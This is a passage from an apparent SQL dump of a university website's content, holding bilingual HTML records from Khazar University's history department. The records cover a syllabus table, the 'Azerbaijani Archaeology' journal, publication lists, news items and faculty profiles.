margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>AZH 150</strong></p>\r\n  </td>\r\n  <td width=\"255\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong><a href=\"http://www.khazar.org/files/history_depart/Zehra%20Islamova%20-Azerbaycan%20tarixi%20(C).pdf\">History of Azerbaijan (C)</a></strong></p>\r\n  </td>\r\n  <td>\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>3</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"179\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>AZH 150</strong></p>\r\n  </td>\r\n  <td width=\"255\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong><a href=\"http://www.khazar.org/files/history_depart/Sabuhi%20Ahmadov-%20Azerbaycan%20tarixi.pdf\">History of Azerbaijan&nbsp;</a></strong></p>\r\n  </td>\r\n  <td>\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>3</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"179\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>AZH 150</strong></p>\r\n  </td>\r\n  <td width=\"255\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong><a href=\"http://www.khazar.org/files/history_depart/Ulviyye%20Ibrahimli%20-%20Az%20tarixi.pdf\">History of Azerbaijan&nbsp;</a></strong></p>\r\n  </td>\r\n  <td>\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>3</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"179\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>AZH 150</strong></p>\r\n  </td>\r\n  <td width=\"255\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong><a href=\"http://www.khazar.org/files/history_depart/Xaqan%20Balayev%20-%20Azerbaycan%20tarixi.pdf\">History of Azerbaijan&nbsp;</a></strong></p>\r\n  </td>\r\n  <td>\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>3</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"179\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong><br></strong></p></td><td width=\"255\"><strong><a href=\"http://www.khazar.org/files/history_depart/Ziya%20Samedli%20-%20TXT-%20sillabus..pdf\"><br></a></strong></td><td><strong><br></strong></td></tr>\r\n</tbody></table>\r\n</div>  </strong></h4>'),(382,236,'az','Azərbaycan Arxeologiyası jurnalı','Azərbaycan Arxeologiyası jurnalı','<p style=\"text-align:justify\">Departamentin\r\napardığı mühüm işlərdən biri də 1999-cu ildən “Azərbaycan Arxeologiyası”\r\njurnalının hazırlanması və nəşridir. Elmi-kütləvi jurnal olan “Azərbaycan\r\nArxelogiyası”nın əsas məqsədi geniş oxucu kütləsinə Azərbaycan arxeologiyasının\r\nkeçdiyi yol, qazandığı nailiyyətləri və bu günün problemləri haqqında məlumat\r\nverməkdən ibarətdir. Bununla yanaşı jurnalda vaxtaşırı dünya arxeologiyası,\r\nböyük arxeoloji kəşflər, görkəmli arxeoloqların həyat və fəaliyyəti haqqında da\r\nməlumatlar verilir.</p><p style=\"text-align:justify\">Jurnalda Azərbaycan\r\nvə dünya arxeologiyasına dair nəzəri, elmi-tədqiqat məqalələr dərc olunur. Jurnal\r\narxeologiya elminin əsasları, metodologiyası, elmin yeni nailiyyətləri və\r\nproblemlərinə geniş yer ayırır. Jurnalda azərbaycan, rus, türk, alman və\r\ningilis dillərində məqalələr dərc olunur. Jurnal ildə iki dəfə çap olunur.</p><p style=\"text-align:justify\">“Azərbaycan\r\nArxeologiyası” jurnalının təsisçisi Xəzər Universitetinin rektoru, professor\r\nHamlet İsaxanlıdır.</p>\r\n<p style=\"text-align:justify\">“Azərbaycan\r\nArxeologiyası” jurnalının redaktoru tarix elmləri doktoru, professor Qüdrət\r\nİsmayılzadədir.</p>\r\n<p style=\"text-align:justify\">Jurnal tədqiqatçılarla\r\nyanaşı, tarix və arxeologiya elminə maraq göstərən geniş oxucu kütləsi üçün nəzərdə\r\ntutulub</p>\r\n<p><a href=\"http://www.khazar.org/files/history_depart/Volume%202017%20N1son.pdf\">\"Azərbaycan Arxeologiyası\"&nbsp;2017&nbsp;№ 1&nbsp;jurnalı</a></p><p><a href=\"http://www.khazar.org/files/history_depart/Volume%202017%20N2%20SON%20HAZIR.pdf\">\"Azərbaycan Arxeologiyası\" 2017 № 2 jurnalı</a></p>'),(383,236,'en',' Azerbaijani Archaeology Journal',' Azerbaijani Archaeology Journal','<p style=\"text-align:justify\">ISSN 2218-0346</p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">The Azerbaijani\r\nArchaeology journal is a popular science journal published by the Department of\r\nHistory and Archaeology of Khazar University since 1999. The journal was\r\nfounded by Prof. Hamlet Isakhanli. The chief editor of the journal is Prof.\r\nGudrat Ismailzade.</p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">The origin and progress\r\nof world archaeology, great archaeological discoveries, interesting\r\nexcavations in Azerbaijan and around the world, and articles of Azerbaijani and\r\nworld-recognized archaeologists are represented in the journal. Articles in the\r\njournal are published in three languages: Azer­baijani, English, and Russian. The journal is published twice a&nbsp;year.</p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">The journal keeps\r\nreaders abreast of the latest explorations, discoveries, and technical\r\ninnovations in the field. Studies about ancient historical places, set­tlements,\r\nand cities, whether from excavations or documentary sources, will be of\r\ninterest to historians, archaeologists, and other people interested in this\r\nsphere.</p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Azerbaijani Archaeology\r\ncovers essentials, methodology, contemporary prob­lems and achievements of\r\narchaeology as well as publishing theoretical works, field studies and popular\r\narticles related to Azerbaijan and world archaeology.</p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">The journal has several\r\nsections: research, interesting excavations, history of science, great\r\narchaeological discoveries and more. The journal also intends to assist\r\nstudents’ learning process, and for this reason there are two main sections of\r\nthe journal called “for students” and “subsidiaries.\"</p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">It encourages debate and\r\nis essential reading for anyone interested in or&nbsp;studying archaeology.</p><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\"><a href=\"http://www.khazar.org/files/history_depart/Volume%202017%20N1son.pdf\">\"Azerbaijan Archaeology\" journal&nbsp;2017 № 1</a></p><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\"><a href=\"http://www.khazar.org/files/history_depart/Volume%202017%20N2%20SON%20HAZIR.pdf\">\"Azerbaijan Archaeology\" journal 2017 № 2</a></p>'),(3209,1893,'az',' “Thomson Reuters”in yeni layihəsinə start verildi','Dünyanın aparıcı informasiya agentliyi “Thomson Reuters”in  “Web of Science” platformasının   Azərbaycanda ali təhsil müəssisələri üçün yeni layihəsinə  start verildi...','<p style=\"\" margin-top:4.5pt;margin-right:0in;margin-bottom:.0001pt\";margin-left:0in\"=\"\">Dünyanın\r\naparıcı informasiya agentliyi “Thomson Reuters”in&nbsp; “Web of Science” platformasının&nbsp;&nbsp; Azərbaycanda ali təhsil müəssisələri üçün\r\nyeni layihəsinə&nbsp; start verildi. </p>\r\n<p style=\"\" margin-top:4.5pt;margin-right:0in;margin-bottom:.0001pt\";margin-left:0in\"=\"\">Layihənin məqsədi&nbsp;&nbsp; “Thomson Reuters”ə geniş çıxışı əldə etməklə,\r\nAzərbaycan alimlərinin elmi əsərlərinin\r\nistinad indeksli jurnallarda nəşrlərinin sayının artırılmasına&nbsp; yardım göstərməkdir. &nbsp;Layihənin köməyi\r\nilə&nbsp; alimlər öz sahələrinə dair elmi\r\njurnalların müqayisəli qiymətləndirilməsini apara və nəşr üçün daha effektiv şəkildə\r\njurnallar seçə biləcəklər. Layihə ilə əlaqədar Azərbaycanın ali təhsil müəssisələrində\r\ntədbirlər keçiriləcəkdir.</p>\r\n<p style=\"\" margin-top:4.5pt;margin-right:0in;margin-bottom:.0001pt\";margin-left:0in\"=\"\">Layihənin ilk tədbiri fevralın 15-də Azərbaycan Memarlıq\r\nvə İnşaat Universitetində, keçirildi. İki hissədən ibarət olan tədbirdə əvvəlcə\r\n“Thomson Reuters” Agentliyi Elm və təhsil departamentinin əməkdaşı Aygün\r\nBabazadə&nbsp; təmsil etdiyi agentlik və həmin\r\nqurumda yer alan elmi jurnallar haqqında ətraflı məlumat verdi. Sonra o,\r\nagentliyin təqdim etdiyi Web of Science və onunla əlaqəli resurslarla iş üzrə\r\nistiqamətlərin verilməsi, platformada axtarışın effektiv aparılması, ən nüfuzlu\r\njurnalların və yüksək istinadlı məqalələrin axtarılıb tapılması, platformada\r\nqeydiyyatdan keçmək və s. məsələlərlə bağlı izahat verdi. </p>\r\n<p style=\"\" margin-top:4.5pt;margin-right:0in;margin-bottom:.0001pt\";margin-left:0in\"=\"\">&nbsp; Tədbirin\r\nikinci hissəsində&nbsp; Xəzər\r\nUniversitetinin&nbsp; <em>Khazar Journal of Humanities and Social Sciences</em> (“Xəzər humanitar\r\nvə sosial elmlər jurnalı”) adlı beynəlxalq elmi jurnalın redaktor assistenti Xəyalə\r\nMəmmədova elmi jurnalın idarə edilməsi prinsipləri,&nbsp; Web of Science\r\nplatformasına daxil olmaq üçün jurnallar, eyni zamanda&nbsp; orda çap olunacaq\r\nməqalələr qarşısında qoyulmuş tələblər , elmi məqalələrin təqdimetmə qaydaları,\r\nseçim meyarları və digər praktiki məsələlərlə bağlı tədbir iştirakçılarını\r\ngeniş məlumatlandırdı.</p>\r\n<p style=\"\" margin-top:4.5pt;margin-right:0in;margin-bottom:.0001pt\";margin-left:0in\"=\"\">&nbsp;Tədbirin sonunda\r\niştirakçıların sualları cavablandırıldı.</p>'),(384,238,'az','Nəşrlər','Nəşrlər','<p><strong>Tarix və Arxeologiya departamentinin çap olunmuş&nbsp;elmi işlərinin siyahısı</strong></p><p><strong><a href=\"http://www.khazar.org/files/history_depart/2011-2012..pdf\">2011-2012-ci illər üçün</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/history_depart/2013-2014.pdf\">2013-2014-cü illər üçün</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/history_depart/2015-2016.pdf\">2015-2016-cı illər üçün</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/history_depart/2017-2018.pdf\">2017-2018-ci illər üçün</a></strong></p>'),(4180,2454,'az','AESOP Erasmus+ layihəsinin növbəti görüşü Xəzər Universitetində keçirildi','2017-ci il sentyabrın 21-22-də Xəzər Universitetində Erasmus+ “Tələbələrin ombudsman vəzifəsi ilə hüquqi bazasının yaradılması...','<p>2017-ci il sentyabrın 21-22-də Xəzər Universitetində Erasmus+ “Tələbələrin ombudsman vəzifəsi ilə hüquqi bazasının yaradılması” (“Advocacy Establishment for Students through Ombudsman Position” - AESOP) layihəsi çərçivəsində növbəti görüş keçirildi. Görüşdə layihənin regional tərəfdaşları olan Xəzər Universiteti, Gəncə Dövlət Universiteti, Naxçıvan Dövlət Universiteti, Naxçıvan Universiteti, Akaki Tsereteli Dövlət Universiteti (Gürcüstan), Qafqaz Universiteti (Gürcüstan), Gürcüstan Amerika Universiteti, Poltava İqtisadiyyat və Ticarət Universiteti və Kiyev Milli İqtisad Universitetinin nümayəndələri, həmçinin, İngiltərənin Middlesex Universiteti, Polşanın Varşava Universiteti, İtaliyanın Laquila Universitetini və Finlandiyanın Jyväskylä Universiteinin nümayəndələri də iştirak etdilər.</p><p>Giriş sözü ilə qonaqları salamlayan Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı tələbələrin universitetlərin fəaliyyətlərində mühüm rol oynadığından danışdı və AESOP layihəsinin iştirakçılarına uğurlar arzuladı. Akaki Tsereteli Dövlət Universitetinin rektoru professor George Gavtadze və Gürcüstan Amerika Universitetinin rektoru Robert Michael Cowgill mövzu ətrafında çıxış etdilər.</p><p>Görüş zamanı regional tərəfdaş universitetlərin nümayəndələri Avropa universitetlərinə səfərləri zamanı əldə etdikləri təcrübələrdən və onları öz yerli universitetlərinə necə tətbiq edəcəkləri haqqında danışdılar. Görüşün birinci günü müzakirələrlə sona çatdı.</p><p>Görüşdən sonra qonaqlar Xəzər Universitetinin “Dünya” konsert salonunda Üzeyir Hacıbəyli IX Beynəlxalq Musiqi Festivalı çərçivəsində UNESCO-nun Sülh artisti, pianoçu Elisso Bolkradzenin iştirakı ilə konsertdə iştirak etdilər.</p><p>Görüşün ikinci günü layihə çərçivəsində həyata keçirilməsi nəzərdə tutulan fəaliyyətlər və maliyyə məsələləri müzakirə olundu.</p><p>Görüşün sonunda qonaqlar üçün “Atəşgah” od məbədinə və Yanardağa tur təşkil olundu.</p>'),(385,238,'en','Publications','Publications','<p><strong>Published articles of&nbsp;History and Archaeology department</strong></p><p><a href=\"http://www.khazar.org/files/history_depart/2011-2012..pdf\"><strong>For 2011-2012 years</strong></a></p><p><a href=\"http://www.khazar.org/files/history_depart/2013-2014.pdf\"><strong>For 2013-2014 years</strong></a></p><p><a href=\"http://www.khazar.org/files/history_depart/2015-2016.pdf\"><strong>For 2015-2016 years</strong></a></p><p><a href=\"http://www.khazar.org/files/history_depart/2017-2018.pdf\"><strong>For 2017-2018 years</strong></a></p>'),(3312,1944,'en','Hamlet Isaxanli at Azerbaijan State Academic Drama Theatre ','On February 28, 2017,  Baku Oil School students staged “Hekayəti-Müsyö Jordan və Dərviş Məhstəli Şah” by Mirza Fatali Akhundzade. Prof. Hamlet Isaxanli, the founder...','<p>On February 28,\r\n2017,&nbsp; Baku Oil School students staged “Hekayəti-Müsyö Jordan və Dərviş Məhstəli\r\nŞah” by Mirza Fatali Akhundzade. Prof. Hamlet Isaxanli, the founder of Khazar\r\nUniversity and Chairman of its Board of Directors and Trustees, attended the\r\nevent. He shared his thoughts about the performance with students.&nbsp;</p>'),(386,240,'en',' Roza Arazova',' Roza Arazova',''),(387,240,'az','Roza Arazova','Roza Arazova',''),(388,241,'az','Araz Aslanli','Araz Aslanli',''),(389,241,'en','Araz Aslanli','Araz Aslanli',''),(390,242,'az','Cəmil Həsənli','Cəmil Həsənli',''),(391,242,'en','Jamil Hasanli','Jamil Hasanli',''),(392,243,'en','Yeganə Çağlayan','Yeganə Çağlayan',''),(393,243,'az','Yeganə Çağlayan','Yeganə Çağlayan',''),(394,239,'az','İşçi heyəti','İşçi heyəti','<h3><em><span style=\"height:208px\"></span></em></h3><img src=\"/files/history_depart/images/roza_arazova.jpg\" style=\"width:150px;height:200px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><p><strong><a href=\"http://www.khazar.org/files/history_depart/CV/roza_arazova_cv.pdf\">Roza Arazova</a> -&nbsp;Dosent</strong></p><p><strong></strong>Tarix ixtisası üzrə Fəlsəfə Doktoru (Azərbaycan Dövlət Pedoqoji Universiteti, Azərbaycan)</p><p>Tarix ixtisası üzrə Aspirant (Azərbaycan SSR EA Tarix İnstitutu, Azərbaycan)&nbsp;</p><p>Tarix ixtisası üzrə Bakalvr (Azərbaycan Dövlət Universiteti (indiki Bakı Dövlət Universiteti), Azərbaycan)</p>  <p><br></p><p><br></p>\r\n<hr>\r\n<p><img src=\"/files/history_depart/images/gudrat_ismayilzada.jpg\" style=\"width:150px;height:129px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><strong><a href=\"http://www.khazar.org/files/history_depart/CV/gudrat_ismayilzada_cv.pdf\">Qüdrət İsmayılov</a>&nbsp;-&nbsp;</strong><strong>\"Azərbaycan Arxeologiyası\" jurnalının baş redaktoru</strong></p><p>Tarix Elmlər Doktoru, Professor (Azərbaycan Dövlət Universiteti (indiki Bakı Dövlət Universiteti), Azərbaycan)</p><p style=\"padding-left:160px\">Tarix üzrə Fəlsəfə Doktoru (Azərbaycan Dövlət Universiteti (indiki <br>&nbsp;Bakı Dövlət Universiteti), Azərbaycan)</p>\r\n<p><br></p>\r\n<hr>\r\n<img src=\"/files/history_depart/images/habil_mammadov.jpg\" style=\"width:150px;height:209px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><p><strong><a href=\"http://www.khazar.org/files/history_depart/CV/habil_mammadov_cv.pdf\">Habil Məmmədov</a>&nbsp;</strong></p><p>Tarix ixtisası üzrə Elmlər Doktoru (Bakı Dövlət Universiteti, Azərbaycan)</p><p>Tarix ixtisası üzrə Aspirant (Bakı Dövlət Universiteti, Azərbaycan)&nbsp;</p><p>Tarix və ictimaiyyət müəllimi ixtisası üzrə Bakalavr (Bakı Dövlət Universiteti, Azərbaycan)</p><p><br></p><p><br></p>\r\n<hr>\r\n<p><img src=\"/files/history_depart/images/telman_guliyev.jpg\" style=\"width:150px;height:103px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><strong><a href=\"http://www.khazar.org/files/history_depart/CV/telman_guliyev_cv.pdf\">Telman Quliyev</a>&nbsp;</strong></p><p><strong></strong>Tarix ixtisası üzrə Elmləri Doktoru (İstanbul Universiteti, Sosyal Elmler İnstitutu, Türkiyə)&nbsp;</p><p style=\"padding-left:160px\">Ümumi türk tarixi ixtisası üzrə Magistri (Mərmərə Universiteti, Türkiyat <br>&nbsp;Araşdırmaları İnstitutu, Türkiyə)&nbsp;</p><p style=\"padding-left:160px\">Türkologiya ixtisası üzrə Bakalvr (Mərmərə Universiteti, Türkiyə)</p>\r\n<hr>\r\n<img src=\"/files/history_depart/images/araz_aslanli.jpg\" style=\"border:0px  #000000;width:150px;height:166px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><p><strong><a href=\"http://www.khazar.org/files/history_depart/CV/araz_aslanli_cv.pdf\">Araz Aslanlı</a>&nbsp;</strong></p><p><strong></strong>Beynəlxalq Münasibətlər üzrə Doktorant (Ankara Universiteti, Türkiyə)</p><p>İdarəetmə və Siyasətşünaslıq Bölümü üzrə Magistr (Ankara Universiteti İctimai Elmlər İnstitutu, Türkiyə)</p><p>Dövlət İdarəçiliyi və Politologiya üzrə Bakalavr (Hacettepe Universiteti, Türkiyə)</p><p><br></p>\r\n<hr>\r\n<img src=\"/files/history_depart/images/ziyad_amrahov.jpg\" style=\"width:150px;height:198px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><p><strong><a href=\"http://www.khazar.org/files/history_depart/CV/ziyad_amrahov_cv.pdf\">Ziyad Amrahov</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/history_depart/CV/ziyad_amrahov_cv.pdf\"></a></strong>Tarix ixtisası üzrə Fəlsəfə Doktoru (Bakı Dövlət Universiteti, Azərbaycan)&nbsp;</p><p>Tarix ixtisası üzrə Magistr (Bakı Dövlət Universiteti, Azərbaycan)&nbsp;</p><p>Tarix ixtisası üzrə Bakalavr (Bakı Dövlət Universiteti, Azərbaycan)&nbsp;</p><p><br></p><p><br></p>\r\n<hr>\r\n<img src=\"/files/history_depart/images/ulviyya_ibrahimli.jpg\" style=\"width:150px;height:208px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><p><strong><a href=\"http://www.khazar.org/files/history_depart/CV/ulviyya_ibrahimli_cv.pdf\">Ülviyyə İbrahimli</a></strong></p><p><strong></strong>Tarix üzrə Fəlsəfə Doktoru (Azərbaycan Dövlət Pedaqoji Universiteti)</p><p>Tarix ixtisası üzrə Aspirant (Azərbaycan Dövlət Pedaqoji Universiteti)</p><p>Tarix ixtiası üzrə Bakalavr (Azərbaycan Dövlət Pedaqoji Universiteti)</p>\r\n<p><br></p><p><br></p>\r\n<hr>\r\n<img src=\"http://www.khazar.org/files/history_depart/images/khagan_balayev.jpg\" style=\"width:150px;height:169px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><p><strong><a href=\"http://www.khazar.org/files/history_depart/CV/khagan_balayev_cv.pdf\">Xaqan Balayev</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/history_depart/CV/khagan_balayev_cv.pdf\"></a></strong>Siyasi insitutlar, etnosiyasi konfliktologiya, milli və siyasi proseslər üzrə Doktorant (Azərbaycan Milli Elmlər Akademiyası)</p><p>Azərbaycanın yeni və ən yeni tarixi ixtisası üzrə Magistr (Bakı Dövlət Universiteti, Azərbaycan)&nbsp;</p><p>Tarix ixtisası üzrə Bakalavr (Bakı Dövlət Universiteti, Azərbaycan)&nbsp;</p><p><br></p>\r\n<hr>\r\n<p><img src=\"/files/history_depart/images/orkhan_zamanov.jpg\" style=\"width:150px;height:140px;margin-left:7px;margin-right:7px;float:left\"><strong><a href=\"http://www.khazar.org/files/history_depart/CV/orkhan_zamanov_cv.pdf\">Orxan Zamanov</a>&nbsp;</strong></p><p><strong></strong>Tarix ixtisası üzrə Magistr (Bakı Dövlət Universiteti, Azərbaycan)&nbsp;</p><p>Tarix ixtisası üzrə Bakalavr (Bakı Dövlət Universiteti, Azərbaycan)&nbsp;</p><p><br></p>\r\n<hr>\r\n<p><img src=\"/files/history_depart/images/samira_garayeva.jpg\" style=\"width:150px;height:196px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><strong><a href=\"http://www.khazar.org/files/history_depart/CV/samira_garayeva_cv.pdf\">Samirə Qarayeva</a>&nbsp;</strong></p><p>Teatrşünas ixtisası üzrə Magistr (Azərbaycan Dövlət İncəsənət Universiteti)  </p><p><br></p><p><br></p><p><br></p><p><br></p>\r\n<hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/history_depart/Baba%20Bayramli%20CV%20az.pdf\"><img src=\"/files/history_depart/images/baba_bayramli.jpg\" style=\"width:150px;height:145px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"></a></strong><strong><a href=\"http://www.khazar.org/files/history_depart/CV/baba_bayramli_cv.pdf\">Baba Bayramlı</a>&nbsp;</strong></p><p>Siyasi elmlər üzrə Doktorant (Xəzər Universiteti, Azərbaycan)</p><p>Tarix ixtisası üzrə Magistr (Bakı Dövlət Universiteti, Azərbaycan)</p><p><br></p><p><br></p>\r\n<hr>\r\n<img src=\"/files/history_depart/images/rukhsara_guliyeva.jpg\" style=\"width:150px;height:192px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><p><strong><a href=\"http://www.khazar.org/files/history_depart/CV/rukhsara_guliyeva_cv.pdf\">Rüxsarə&nbsp;Quliyeva</a>&nbsp;</strong></p><p><strong></strong>Tarix ixtisası üzrə Fəlsəfə Doktoru (Azərbaycan Milli Elmlər Akademiyası)</p><p>Tarix ixtisası üzrə Magistr (Bakı Dövlət Universiteti, Azərbaycan)</p><p>Tarix ixtisası üzrə Bakalavr (Bakı Dövlət Universiteti, Azərbaycan)&nbsp;</p><p><br></p><p><br></p>\r\n<hr>\r\n<p><img src=\"/files/history_depart/images/zahra_islamova.jpg\" style=\"width:150px;height:208px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><strong><a href=\"http://www.khazar.org/files/history_depart/CV/zahra_islamova_cv.pdf\">Zəhra İslamova</a>&nbsp;</strong></p><p><strong></strong>Vətən tarixi ixtisası üzrə Fəlsəfə Doktoru (Bakı Dövlət Universiteti, Azərbaycan)&nbsp;</p><p>Tarix ixtisası üzrə Magistr (Bakı Dövlət Universiteti, Azərbaycan)</p><p>Tarix ixtisası üzrə Bakalavr (Bakı Dövlət Universiteti, Azərbaycan)</p><p><br></p>\r\n<p><br></p>\r\n<hr>\r\n<p><img src=\"/files/history_depart/images/sabuhi_ahmadov.jpg\" style=\"width:150px;height:171px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><strong><a href=\"http://www.khazar.org/files/history_depart/CV/sabuhi_ahmadov_cv.pdf\">Səbuhi Əhmədov</a>&nbsp;</strong></p><p><strong></strong>Tarix ixtisası üzrə Aspirant (Azərbaycan Milli Elmlər Akademiyası)&nbsp;</p><p>Tarix ixtisası üzrə Bakalavr (Azərbaycan Dövlət Pedaqoji Universiteti, Tarix və hüququ Fakültəsi,&nbsp; Azərbaycan)</p><p><br></p><p><br></p>\r\n<hr>\r\n<p><img src=\"/files/history_depart/images/bayram_guliyev.png\" style=\"width:150px;height:179px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><strong><a href=\"http://www.khazar.org/files/history_depart/CV/bayram_guliyev_cv.pdf\">Bayram Quliyev</a>&nbsp;</strong></p><p><strong></strong>Vətən tarixi ixtisası üzrə Fəlsəfə Doktoru (Bakı Dövlət Universiteti, Azərbaycan)&nbsp;</p><p>Tarix ixtisası üzrə Magistr (Bakı Dövlət Universiteti, Azərbaycan)&nbsp;</p><p>Tarixçi və tarix müəllimliyi ixtisası üzrə Bakalavr (Bakı Dövlət Universiteti, Azərbaycan)&nbsp;</p><p><br></p><p><br></p>\r\n<hr>\r\n<strong><a href=\"http://www.khazar.org/files/history_depart/CV-Sayad%20(1).pdf\"></a></strong><p style=\"font-weight:bold\"><a href=\"http://www.khazar.org/files/history_depart/CV-Sayad%20(1).pdf\"><img src=\"/files/history_depart/images/sayad_mehtizada.jpg\" style=\"width:150px;height:134px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><strong></strong></a><strong><a href=\"http://www.khazar.org/files/history_depart/CV/sayad_mehtizada_cv.pdf\">Sayad Mehtizadə</a></strong></p><p><span style=\"font-weight:bold\"><a href=\"http://www.khazar.org/files/history_depart/CV/sayad_mehtizada_cv.pdf\"></a></span>Tarix&nbsp;ixtisası üzrə Fəlsəfə Doktoru (Bakı Dövlət Universiteti, Azərbaycan)<strong>&nbsp;</strong></p><div><br></div><p><br></p>\r\n<hr>\r\n<p><strong><a href=\"http://khazar.org/files/history_depart/CV/ziya_samadli_cv.pdf\"><img src=\"/files/history_depart/images/ziya_samedli.jpg\" style=\"width:150px;height:207px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">Ziya&nbsp;Səmədli</a></strong></p><p>Siyasi elmlər&nbsp;üzrə fəlsəfə doktoru&nbsp;(Bakı Slavyan&nbsp;Universiteti, Azərbaycan)</p><p><br></p><p><br></p><p><br></p><p><br></p>'),(5953,3403,'az','FolletDestiny - Yenilənmiş versiya','FolletDestiny - Yenilənmiş versiya',''),(5954,3403,'en','FolletDestiny - Updated Version','FolletDestiny - Updated Version',''),(4224,2486,'az','Hamlet İsaxanlı “Cəlaləddin Ruminin kölgəsində” adlı sessiyanın həmsədri oldu','Oktyabrın 8-də İslam Dünyası Elmlər Akademiyasının (Islamic World Academy of Sciences)...','<p>Oktyabrın 8-də İslam Dünyası Elmlər Akademiyasının (<em>Islamic World Academy of Sciences</em>) 21-ci konfransı Konya (Türkiyə) şəhərində öz işinə başladı. Konfransın “Cəlaləddin Ruminin kölgəsində” (“<em>In the shadow of Jalal-ad-Din Rumi</em>”) adlı ilk sessiyası Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlının həmsədrliyi ilə başladı və başa çatdı. H.İsaxanlı sessiyanı giriş sözü ilə açdı, qısaca C.Rumi haqqında danışdı, Xəzər Universiteti və Avrasiya Akademiyası haqqında məlumat verdi.</p><p>Hamlet İsaxanlı sonda məruzələr, məruzələr ətrafı çıxışlar və C.Ruminin dünyada geniş tanınma səbəbləri, Şərq poeziyasının Qərbdə tərcümələri barədə fikrlərini söylədi.</p>'),(395,239,'en','Faculty and Staff','Faculty and Staff','<h3><em><span style=\"height:208px\"></span></em></h3><img src=\"/files/history_depart/images/roza_arazova.jpg\" style=\"width:150px;height:200px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><p><strong><a href=\"http://www.khazar.org/files/history_depart/CV/roza_arazova_cv_en.pdf\">Roza Arazova</a> -&nbsp;Associate Professor&nbsp;  </strong></p><p>PhD in History (Azerbaijan State Pedagogical University, Azerbaijan)</p><p>Postgraduate in History (Institute of Azerbaijan SSR,&nbsp;Azerbaijan National Academy&nbsp;of Sciences)<br></p><p>BS in History (Azerbaijan State University (Baku State University), Azerbaijan)</p>\r\n<p><br></p><p><br></p>\r\n<hr>\r\n<p><img src=\"/files/history_depart/images/gudrat_ismayilzada.jpg\" style=\"width:150px;height:129px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><strong><a href=\"http://www.khazar.org/files/history_depart/CV/gudrat_ismayilzada_cv_en.pdf\">Gudrat Ismailov</a>&nbsp;- The&nbsp;editor-in-chief of \"Azerbaijan Archaeology\" journal</strong></p><p><strong></strong>DS, Prof. in History (Azerbaijan State University (Baku State 